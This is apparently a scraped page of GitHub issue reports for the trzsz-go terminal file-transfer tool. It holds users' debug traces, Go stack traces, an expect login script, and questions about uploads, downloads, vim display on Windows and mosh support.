[svrout]eJySjjbIlY42MLQ2Nsktzk8rKU8sSgWJ8XJJRxvmSkeb56pKRxuZ50J4BrkK1AW8CrzSsUbWqWWZeakOBWWpVnXs0rGG1iDS3DotMyfVSl+/oCxVPyM/N1UfrIodEAAA//8M/yaw
[svrout]eJySjjZ0lI42N3JWiDbQMzAojuXlAgQAAP//KqoEKw==
[svrout]eJzilY42yJWONjIHESa50tFe0tHGlrkQURMQwwTEMrbMVUgty8xLdSgoS1WQjjYBKTU2yH3XtAFMK9QpQJUbm0AFLXMVpKO9paPtDTOkbaWj7Y0MDEwyAAEAAP//zvUfyA==
[stdin]eJzKAwQAAP//AG8Abw==
[svrout]eJxKKs3MSYkvKMrPLSixMrRSKE5OzEksUihILErMTS1JLVIIcg0Jc/RRSC5KTSxJTVFIz8lPSszJqVTIzFNIK81LLsnMz1NANoSXCxAAAP//Aj0eTw==
[svrout]eJzi5ZWONsiVjjYyBxEmudLRXtLRxpa5EFETEMMExDK2zFVILcvMS3UoKEtVkI42ASk1Nsh917QBTCvUKUCVG5tABS1zFfIAAQAA///YeBv5
[svrout]eJzikI42zJWONjbMzZOONgCxLHMBAQAA//8yrQU0
[svrout]eJzikI42zJWONjbMzZOONgCxLHOloy0Ncotz8vOzSwsUsnOLdYtTi8pSi6ByhhYugAAAAP//oLgQLg==
[stdin]eJxKBAQAAP//AGIAYg==
[svrout]eJzikI42zJWONjbMzYOzEqWjDUAsSwihQHvS0NxFOtrSIDcvXyE5P7cgvzhVrzI3B+oEQxMXQAAAAP//gOIqng==
[stdin]eJzKAwQAAP//AG8Abw==
[svrout]eJxKKs3MSYkvKMrPLSixMrRSKE5OzEksUihILErMTS1JLVIIcg0Jc/RRSC5KTSxJTVFIz8lPSszJqVTIzFNIK81LLsnMz1NANoSXCxAAAP//Aj0eTw==
[svrout]eJzi5ZWONsiVjjYyBxEmudLRXtLRxpa5EFETEMMExDK2zFVILcvMS3UoKEtVkI42ASk1Nsh917QBTCvUKUCVG5tABS1zFfIS8wABAAD//xGpHMg=
[svrout]eJzi4OCQjjbMlY42NszNg7MSkcUMQCzLXOloS4PcfIXk/NyC/OJUvcrcHKiwobELIAAA//+HLBOH
[stdin]eJzKBwQAAP//AHAAcA==
[svrout]eJzi4OCQjjbIlY42NsrNg7MSkcWMjXLzpaONLXMBAQAA///tDAtt
[stdin]eJxSAAQAAP//ACEAIQ==
[svrout]eJySjja2zFUABAAA//8E4AFw
[stdin]eJzSAwQAAP//AC8ALw==
[svrout]eJySjja2zJWONsnVk442MskFcxXIJQ0NXKSjLQ1y0zNL9JPz89Iy06HGGxq4AAIAAP//YYEa7g==
[stdin]eJyqAgQAAP//AHsAew==
[svrout]eJzikI42ydWTjja2zAWxqqSjjUxywVwF0klLF+loS4Pc4oyiZLAQBwcHByAAAP//l7QXvA==
[stdin]eJyS9ncGBAAA//8BNQCu
[svrout]eJzikI42ya2Sjja2zAWxiuGsDDirCM5Klo42MskFBAAA//9pIg4r
[stdin]eJySjjYytjauAwQAAP//BkEByA==
[svrout]eJxiBwQAAP//AAgACA==
[svrout]eJySjjY0dJGONrbMzQOTiUjsfAXpaCOTXD0wWQUmi8FkBpgsApPJ1oAAAAD//2K8Em4=
[svrout]eJwyBgQAAP//ADQANA==
[svrout]eJySjjY0dpGONjbKzQOTiUjsfOloY8tcBelok1w9EFEFIopBRAaIKAIRydLRRia51tLRhrnS0caGucZwVp10tEEu2ARAAAAA//9f6huJ
[stdin]eJyqBwQAAP//AIAAgA==
[svrout]eJzi4JCONsiVjjY2yjWWjja2zIVyLXMVOAABAAD//1o4Bng=
[stdin]eJyqBwQAAP//AIAAgA==
[svrout]eJzikI42tsxV4AAEAAD//waZAYA=
[stdin]eJyqBwQAAP//AIAAgA==
[svrout]eJziUOAABAAA//8AYwAx
[stdin]eJziBQQAAP//AA4ADg==
[svrout]eJySjrY3zJG2k462NzIwMMnh5eWSjjWyzkvMy1fQqyrOKEpml441BPPZAQEAAP//504LXg==
[svrout]eJwUyrEJgEAMheFB/gUsczEgR5CAa7wFUniNuD9i/6Fys2hUw2I2ck9Le9FIj4ftQgvFjepotM+MuX7enF8AAAD//9KzDxw=
[svrout]eJx0zTELwjAQBeBf4C94y41OobmmlBCk4NLi4CA4HQrFFltIotjNXy9aNCD0je8+7kEqPWADqbjwkNw6YwPWW0iANBDeQZhdbppPmbkyCB36thvjVSlFp699I/5HpDNLfoz9lGAyRPX+SLGNNyqUoaWo5zQ8LovnFIh2pZ3/hxWE8+63da7nmpre3yHa1K8AAAD//4eWN8o=
[svrout]eJxsklFP2zAQxz9BPoFfTpSHPVBCCbDBxANjHYXBiqATE56GjH2pLWK7ip2F8uknO6YNEw9VW/9yv7v/xeTDF0J3Pn/Uf6bxp4a7WnmEaeNhze5emcQa4dxBj31P7LTxhO4XZ2syS2T8jLzxCP2q08QuLWdeWZMRursn1vzXqlZ5Qkd7Pe1NQjfIBHxTFfa0v1dsUTH+tuXPxK6Zi8P02UViF43zqly+YQ+JnVmYWbhUBsOwgtDiQA/gvISlbYBbjVDWVsMjczIeaTWXHiT7i+AtcMnMHAOoYfP6ZDbZzggtxADweWFrD+HoeHMyvRrnj8oc5Y2r88pyVsW/sSIjdF8M4Jp5GYxRZeVQL4cvToIyzrOqitsM7oMw4a7u9IQWhzrluL+dRHKcIo40oUWhN7rm2yvjRkbop/RKdEp7ix4M0wi2BC8xfHSMV1kmYDgcgirBoQ9H/+lrZoTVG33fFigPraqqjNBDMegkDLonkxsZl+BVaLmO6uKjKLZAGWil4hI4c7iVETraEYPQ/cnYNiG3QK5KxcEahJati+vGHAFyaWHz5uTH1+nVw2wyvhoHy0iEsAjS+4U7yvO58rJ53OZW51bq5YuTq+9WPal8FoZ1oTLejNdl399OOue7G2dzY53HOmx6tPfOqivlfFq1RhdiLRR/6u5ZK9HEJMrMgfm0tWDaF/8CAAD//3W1JBc=
[svrout]eJxckMFu6jAQRb+AL/BmRN6CJ7WFBJW2qhBKIRJZQKWGdkEWkYknxKrtQbYB0a+vTBdVs77Xx2duBAV6L80efCsdnLiVfKcQzi0a2BbLarPMVtnUciNIw1kqBTU/OoQv14InUMRFj5XxRETAwbeoERpLuoOTxnnkAqgBRfQZ/pMG/m2L5fD6xg0D5EFEkDfg0Ac0N4D64C/AreWXm65gUGn5CcEQYNNg7e8C41FEv97VW7pevK6qebpe5It0kxXTAbDBCytHz7Fm5Xis+5Z2u4s9OodK9X+ykEx0t8j3hpxH+7f0v8fKZCQieDc1aY3GhxWgIaXoHO5U0mA4J4xWc4e3Do2TXp4QatIHhV6SCepJLCKYp0VWFdm6yDf5RzbtKHh7xH6oClaOn/Q11aycxYli5Sy5b78DAAD//wlgkak=
[stdin]eJySAAQAAP//ABkAGQ==
[svrout]eJySjrY3Ms2RjjYySpGO9pKONjJJAQQAAP//LnMExw==
[svrout]eJySjrY3NMqRjrY3Ms2QjjYysTb0AAkZmFjmSEcbGVsbWBuU8IJEcqTtQKoMDExypKMNc6WjzXNVpaONzHMhPINcBeoCXgVe6Vgj69SyzLxUh4KyVKs6dulYQ+s6dkAAAAD//8UeIts=
[svrout]eJySjjW3TsvMSbXS1y8oS9XPyM9N1U8ty8xLZQcEAAD//2+tCJM=
[svrout]eJySjjZ0lI42N3BWiDbMNdQzMimO5eUCBAAA//81gQTO
[svrout]eJzilY42yJWONjIHESa50tFe0tHGlrkQURMQwwTEMrbMVUgty8xLdSgoS1WQjjYBKTU2yH3XtAFMK9QpQJUbm0AFLXMVpKO9paPtDTOkbQEBAAD//9fVHeU=
[svrout]eJySjrY3MjAwyQAEAAD//wfxAeQ=

不使用trzsz时是正常的:

Screenshot_20230528_201158

Screenshot_20230528_201147

[BUG] 从Linux下载文件到Windows失败

  1. WindowsLinux上安装最新版的0.1.5版本的trzsz
  2. Windows上用cmd或者WindowsTerminal执行trzsz ssh x.x.x.x
  3. Linux主机中执行tsz xxx或者tsz -b xxx
  4. 报错,实际下载到本机的文件只有255KB
[pengtian@localhost ~]$ tsz -b log.log
illegal base64 data at input byte 71592
goroutine 1 [running]:
runtime/debug.Stack()
        /usr/local/Cellar/go/1.18.2/libexec/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.NewTrzszError({0xc0000f4050, 0x44}, {0xc000146090, 0x4}, 0x1)
        /Users/lonnywang/workspace/trzsz-go/trzsz/comm.go:160 +0x272
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvCheck(0x117ac?, {0x5516f3, 0x4}, 0x89?, 0xc000113ab8?)
        /Users/lonnywang/workspace/trzsz-go/trzsz/transfer.go:190 +0x152
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvInteger(0xc000113c18?, {0x5516f3?, 0x40000?}, 0x0?)
        /Users/lonnywang/workspace/trzsz-go/trzsz/transfer.go:201 +0x25
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).checkInteger(0xc000113c18?, 0x40000)
        /Users/lonnywang/workspace/trzsz-go/trzsz/transfer.go:209 +0x30
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).sendFiles(0xc00012a1e0, {0xc00011e810, 0x1, 0x0?}, {0x0?, 0x0})
        /Users/lonnywang/workspace/trzsz-go/trzsz/transfer.go:517 +0x100c
github.com/trzsz/trzsz-go/trzsz.sendFiles(0xc00012a1e0?, 0xc000122a20, 0x1e?, 0x2?)
        /Users/lonnywang/workspace/trzsz-go/trzsz/tsz.go:79 +0x116
github.com/trzsz/trzsz-go/trzsz.TszMain()
        /Users/lonnywang/workspace/trzsz-go/trzsz/tsz.go:151 +0x756
main.main()
        /Users/lonnywang/workspace/trzsz-go/cmd/tsz/main.go:33 +0x19

下载动态变化的文件问题

日志文件一直在变化,如果我不打包直接下载会产生read size不等于原始大小问题,这个需要优化吗
image

Not working on Synology NAS DS918+

# admin @ DS918x86 in ~/tools [10:28:28] 
$             
bracketed-paste-magic:zle:47: not enough arguments for -U

客户端,macos(zsh)
服务端,群晖(zsh)

Unable to log in to the server using the password-free script

When logging in with a password-free script, how can I use this tool?
I've tried adding 'trzsz' before SSH, but I cannot access the server

set timeout 30
spawn ssh -p [lindex $argv 0] [lindex $argv 1]@[lindex $argv 2]
expect {
        "(yes/no)?"
        {send "yes\n";exp_continue}
        "password:"
        {send "[lindex $argv 3]\n"}
        "Password:"
        {send "[lindex $argv 3]\n"}
}
interact

几个问题及优化建议

搞好了,我是macOS下的iTerm2,有进度条,比lrzsz好多了
image

问题

1、为什么同时写两个语言的版本?因为如果是我写的话,肯定集中精力写好一种语言的,因为对用户来说,无论哪种语言都一样用;
2、go版本似乎无法独立使用,因为trzsz-iterm2是python写的,它好像是依赖于python版本的trzsz,我个人喜欢go版,希望go版本自带trzsz-iterm2,不要依赖于python版;
3、进度条功能是否由python实现,或者说则python调用iTerm2的api实现?是否一定需要python才能实现进度条而不能用其它语言?
4、为什么叫trzsz,t是什么意思?terminal吗?(没有别的意思,只是单纯好奇为什么是t)?
5、在trzsz-iterm2文档中,which trzsz-iterm2找不到trzsz-iterm2,我是搜索整个/usr/local/Cellar/才找到在以下路径

/usr/local/Cellar/trzsz/1.1.2/libexec/bin/trzsz-iterm2

我是同时用brew安装了python版本和go版本,不过由于两个都要链接到/usr/local/bin/会冲突,所以我先brew unlink trzsz,然后再brew link trzsz-go,不知道是不是跟这个有关。
6、-d指定下载目录完全没必要吧,python和go都可以轻易的获取系统的家目录(不行用$(whoami)也能找到家目录)

 -p text -d '/Users/xxx/Downloads' \1

7、目前trz传完后输出是这样的

::TRZSZ:TRANSFER:R:1.1.0:8466681564300
Received Xnip2023-05-15_19-07-42.jpg, Xnip2023-05-15_19-09-00.jpg, Xnip2023-05-15_19-14-33.jpg to /root

由于文件名长,这样并不好看,不如这样:

Received 3 files to /root:
- 1. Xnip2023-05-15_19-07-42.jpg
- 2. Xnip2023-05-15_19-09-00.jpg
- 3. Xnip2023-05-15_19-14-33.jpg

tsz同理

Saved a6cc1b4a6221c34b410b739edcb7eb38 (1).jpg.0, a6cc1b4a6221c34b410b739edcb7eb38 (2).jpg.0, a6cc1b4a6221c34b410b739edcb7eb38 (3).jpg.0 to /Users/xxx/Downloads

换成

Saved 3 files to /Users/xxx/Downloads:
- 1. a6cc1b4a6221c34b410b739edcb7eb38 (1).jpg.0
- 2. a6cc1b4a6221c34b410b739edcb7eb38 (2).jpg.0
- 3. a6cc1b4a6221c34b410b739edcb7eb38 (3).jpg.0

Data Race

在 trz 上传文件时加 --race 出现了 Data Race

      WARNING: DATA RACE
       Read at 0x00c0003a2380 by main goroutine:
          github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).cleanInput()
          github.com/trzsz/[email protected]/trzsz/transfer.go:105 +0x69
          github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).serverExit()
          github.com/trzsz/[email protected]/trzsz/transfer.go:395 +0x44
          github.com/trzsz/trzsz-go/trzsz.recvFiles()
          github.com/trzsz/[email protected]/trzsz/trz.go:99 +0x6d1
          github.com/trzsz/trzsz-go/trzsz.TrzMain()
          github.com/trzsz/[email protected]/trzsz/trz.go:172 +0xef4

       Previous write at 0x00c0003a2380 by goroutine 17:
          github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).addReceivedData()

manjaro konsole下,trz 和 tsz hanging up

一:环境+工具链

os:manjaro21.3.5 minimal version
kernel:5.15.55
DE:kde plasma 5.24.6
terminal:konsole +fish shell
tmux:3.3a
tmux 配置方案:https://github.com/gpakosz/.tmux
安装方式:github-release下编译好的trzsz-go的可执行文件,已经配置在fish下的path下了

换句话说,上面基本上是 manjaro minimal 的最新版(滚动更新)

二、场景复现

  • 本机测试 trzsz bash,提示缺少zenity 可执行文件,于是正常安装:sudo pacman -S zenity,但是只能弹起zenity窗口,选择文件后,还是hanging up;

  • 使用trzsz-go 的 local模式,也即只在本机安装trzsz-go ,使用trzsz ssh user@host 登陆到服务器,但是进入服务器后,trz 和 tsz 都hanging up

  • 最终在目标服务器也安装了trzsz-go,使用服务器上的./trz./tsz可执行文件 能正常使用(使用trzsz ssh user@host 登陆到服务器)。

感觉在我的环境下,local模式不管用,只能local+server模式正常(单纯server模式下,还没来得及测试是否正常),难道不支持konsole吗,那我打算有时间试试alacrity,(当然全部在tmux里)

最后,非常感谢大佬开发在tmux下支持的上传下载工具,之前一直找类似工具都找不到,一开始trzsz只支持macos的时候,心都死了,后来大佬支持linux了,感动到哭

需要配合调试啥的,随时提供

运行 trz 报错

illegal base64 data at input byte 36
goroutine 1 [running]:
runtime/debug.Stack()
        /usr/lib/go-1.18/src/runtime/debug/stack.go:24 +0x65
github.com/trzsz/trzsz-go/trzsz.NewTrzszError({0xc00001c240, 0x40}, {0xc0000148cc, 0x4}, 0x1)
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/comm.go:171 +0x272
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvCheck(0xc000039400?, {0x55619b, 0x4}, 0xe0?, 0x7fdc1064d090?)
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/transfer.go:197 +0x152
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvInteger(0x10?, {0x55619b?, 0xc000010bd0?}, 0x0?)
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/transfer.go:208 +0x25
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvFileSize(0xc000010bd0?, {0x0?, 0x0})
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/transfer.go:751 +0x3f
github.com/trzsz/trzsz-go/trzsz.(*TrzszTransfer).recvFiles(0xc00004c240, {0xc0000163c0, 0x13}, {0x0?, 0x0})
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/transfer.go:829 +0x4ef
github.com/trzsz/trzsz-go/trzsz.recvFiles(0xc00004c240?, 0xc000062cc0, 0x1e?, 0x3?)
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/trz.go:90 +0x312
github.com/trzsz/trzsz-go/trzsz.TrzMain()
        /build/trzsz-z81gqQ/trzsz-0.1.8/trzsz/trz.go:172 +0x865
main.main()
        /build/trzsz-z81gqQ/trzsz-0.1.8/cmd/trz/main.go:33 +0x19

服务端 OS: Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-77-generic x86_64)
服务端版本: trzsz-go 0.1.8

客户端 OS: Windows 11 Professional 21H2
客户端版本: trzsz-go 0.1.8

Support for mosh?

I love this program - thanks for writing it!

I've successfully used trzsz-go with both SSH sessions and interactive AWS SSM Sessions but it doesn't work with mosh sessions. I know it's quite a different protocol as it uses UDP rather than TCP and has predictive modelling of the screen state so I guess it wouldn't be trivial, but is it even possible?

No speed for uploading.

Hi,thank you very much for providing this tool. I use iTerm2 to log in to the jump server and then to the target server. I've noticed that uploading files using trz is very slow and there is no speed.

My Mac has an M2 chip, and the speed with tsz is not a problem.

image

Windows 下 vim 工作不正常

  1. 打开 cmd.exe, 并执行 trzsz vim.exe --clean
  2. i 切换到输入模式,随意输入一些字符
    期望:符合vim正常功能
    实际:vim命令行处错位
$ vim --version
VIM - Vi IMproved 9.0 (2022 Jun 28, compiled Jul  3 2022 22:05:02)
MS-Windows 64-bit console version
Included patches: 1-32
Compiled by appveyor@APPVYR-WIN
OS Version:                10.0.19044 N/A Build 19044

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.